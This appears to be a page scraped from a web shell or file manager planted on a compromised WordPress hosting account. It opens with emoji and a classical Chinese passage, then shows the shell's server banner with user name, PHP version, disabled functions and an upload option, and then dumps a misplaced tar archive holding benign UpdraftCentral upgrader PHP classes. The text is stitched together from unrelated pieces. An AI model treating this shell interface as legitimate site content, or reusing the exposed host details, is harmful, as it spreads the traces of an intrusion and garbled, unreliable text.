Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)Σ(゚Д゚;≡;゚д゚)始,故人唐宰相鲁公,🆚开府南服,余以布衣从戎。明年,别公漳水湄。后明年,公以事过张睢阳庙及颜杲卿所尝往来处,悲歌慷慨,卒不负其言而从之游。今其诗具在,可考也。😭 HEX
HEX
Server: Apache
System: Linux webm006.cluster120.gra.hosting.ovh.net 6.18.39-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Tue Jul 21 12:03:15 CEST 2026 x86_64
User: studionolh (122383)
PHP: 7.3.33
Disabled: _dyuweyrj4,_dyuweyrj4r,dl
Upload Files
File: /home/s/t/u/studionolh/www/wp-includes/Requests/Cookie/reusable-blocks/classes.tar
automatic-upgrader-skin-compatibility.php000064400000000710152334023470014664 0ustar00<?php

if (!defined('ABSPATH')) die('No direct access.');

class Automatic_Upgrader_Skin extends Automatic_Upgrader_Skin_Main {

	public function feedback($string, ...$args) { // phpcs:ignore PHPCompatibility.LanguageConstructs.NewLanguageConstructs.t_ellipsisFound, VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable -- spread operator is not supported in PHP < 5.5 but WP 5.3 supports PHP 5.6 minimum
		parent::updraft_feedback($string);
	}
}
class-updraftcentral-wp-upgrader.php000064400000004006152334023470013634 0ustar00<?php

if (!defined('ABSPATH') || !defined('UPDRAFTCENTRAL_CLIENT_DIR')) die('No access.');

/**
 * The extended class of Plugin_Upgrader that is mostly used for overriding some of the parent methods to short-circuit their native behaviour or to manipulate some data, parameters and/or method arguments
 */
class UpdraftCentral_Plugin_Upgrader extends Plugin_Upgrader {

	/**
	 * Run an upgrade/installation
	 *
	 * @param Array $options {
	 * Array or string of arguments for upgrading/installing a package.
	 *
	 * @type bool $clear_destination Whether to delete any files already in the destination folder. Default false. (since 2.8.0)
	 * }
	 *
	 * @return Array|False|WP_Error The result from self::install_package() on success, otherwise a WP_Error,
	 *                              or false if unable to connect to the filesystem.
	 */
	public function run($options) {
		$options['clear_destination'] = true; // force overwritting the existing one, in case WP < 5.5.0 is in use where "overwrite_package" parameter doesn't exist
		return parent::run($options);
	}
}

/**
 * The extended class of Plugin_Upgrader that is mostly used for overriding some of the parent methods to short-circuit their native behaviour or to manipulate some data, parameters and/or method arguments
 */
class UpdraftCentral_Theme_Upgrader extends Theme_Upgrader {

	/**
	 * Run an upgrade/installation
	 *
	 * @param Array $options {
	 *     Array or string of arguments for upgrading/installing a package.
	 *
	 * @type bool $clear_destination Whether to delete any files already in the destination folder. Default false. (since 2.8.0)
	 * }
	 *
	 * @return Array|False|WP_Error The result from self::install_package() on success, otherwise a WP_Error,
	 *                              or false if unable to connect to the filesystem.
	 */
	public function run($options) {
		$options['clear_destination'] = true; // force overwritting the existing one, in case WP < 5.5.0 is in use where "overwrite_package" parameter doesn't exist
		return parent::run($options);
	}
}
class-automatic-upgrader-skin.php000064400000006624152334023470013132 0ustar00<?php
// @codingStandardsIgnoreFile
if (!defined('ABSPATH')) die('No direct access.');

// Extracted from 4.5.2/wordpress/wp-admin/includes/class-wp-upgrader-skins.php; with the bulk_*() methods added since they are not in the base class on all WP versions.
// Needed only on WP < 3.7

/**
 * Upgrader Skin for Automatic WordPress Upgrades
 *
 * Extracted from 4.5.2/wordpress/wp-admin/includes/class-wp-upgrader-skins.php; with the bulk_*() methods added since they are not in the base class on all WP versions.
 * Needed only on WP < 3.7
 *
 * This skin is designed to be used when no output is intended, all output
 * is captured and stored for the caller to process and log/email/discard.
 *
 * @package WordPress
 * @subpackage Upgrader
 * @since 3.7.0
 */
class Automatic_Upgrader_Skin_Main extends WP_Upgrader_Skin {

	protected $messages = array();

	/**
	 * Request filesystem credentials
	 *
	 * @param bool   $error 					   Check if there is an error: default is false
	 * @param string $context 					   Context for credentials
	 * @param bool   $allow_relaxed_file_ownership Check if relaxed file ownership is allowed
	 * @return bool
	 */
	public function request_filesystem_credentials($error = false, $context = '', $allow_relaxed_file_ownership = false) {
		if ($context) {
			$this->options['context'] = $context;
		}
		// TODO: fix up request_filesystem_credentials(), or split it, to allow us to request a no-output version
		// This will output a credentials form in event of failure, We don't want that, so just hide with a buffer
		ob_start();
		$result = parent::request_filesystem_credentials($error, $context, $allow_relaxed_file_ownership);
		ob_end_clean();
		return $result;
	}

	/**
	 * Get update message
	 *
	 * @return array reti=urns an array of messages
	 */
	public function get_upgrade_messages() {
		return $this->messages;
	}

	/**
	 * Feedback
	 *
	 * @param  string|array|WP_Error $data THis is the data to be used for the feedback
	 */
	protected function updraft_feedback($data) {
		if (is_wp_error($data)) {
			$string = $data->get_error_message();
		} elseif (is_array($data)) {
			return;
		} else {
			$string = $data;
		}
		if (!empty($this->upgrader->strings[$string]))
			$string = $this->upgrader->strings[$string];

		if (false !== strpos($string, '%')) {
			$args = func_get_args();
			$args = array_splice($args, 1);
			if (!empty($args))
				$string = vsprintf($string, $args);
		}

		$string = trim($string);

		// Only allow basic HTML in the messages, as it'll be used in emails/logs rather than direct browser output.
		$string = wp_kses($string, array(
			'a' => array(
				'href' => true
			),
			'br' => true,
			'em' => true,
			'strong' => true,
		));

		if (empty($string))
			return;

		$this->messages[] = $string;
	}

	public function header() {
		ob_start();
	}

	public function footer() {
		$output = ob_get_clean();
		if (!empty($output))
			$this->feedback($output);
	}
	
	/**
	 * @access public
	 */
	public function bulk_header() {}

	public function bulk_footer() {
	}
}

global $updraftcentral_main;
$wp_version = $updraftcentral_main->get_wordpress_version();

if (version_compare($wp_version, '5.3', '>=')) {
	if (!class_exists('Automatic_Upgrader_Skin')) require_once(dirname(__FILE__).'/automatic-upgrader-skin-compatibility.php');
} else {
	class Automatic_Upgrader_Skin extends Automatic_Upgrader_Skin_Main {

		public function feedback($string) {
			parent::updraft_feedback($string);
		}
	}
}